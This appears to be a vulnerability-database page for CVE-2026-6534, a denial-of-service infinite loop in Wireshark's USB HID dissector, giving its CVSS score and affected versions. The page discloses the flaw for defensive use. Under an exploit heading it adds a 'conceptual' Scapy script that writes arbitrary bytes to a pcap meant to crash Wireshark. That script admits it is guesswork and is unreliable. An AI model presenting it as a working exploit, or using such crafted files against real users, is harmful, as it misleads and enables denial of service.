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CVE-2026-6534 CVSS 5.5 MEDIUM

CVE-2026-6534

Published: 2026-04-30 07:16:41
Last Modified: 2026-05-01 18:16:21

Description

USB HID protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 - 4.6.4
Wireshark 4.4.0 - 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for demonstration purposes. # It requires Scapy to generate a malformed packet. from scapy.all import * # Construct a raw USB HID packet that might trigger the infinite loop # Specific byte patterns would depend on the exact vulnerability details malicious_packet = Raw(b'\x00\x01\x02\x03\xFF\xFF\xFF\xFF') # Save to a pcap file wrpcap('cve_2026_6534_poc.pcap', malicious_packet) print("Malicious pcap file generated: cve_2026_6534_poc.pcap") print("Open this file with a vulnerable version of Wireshark to trigger the DoS.")

References

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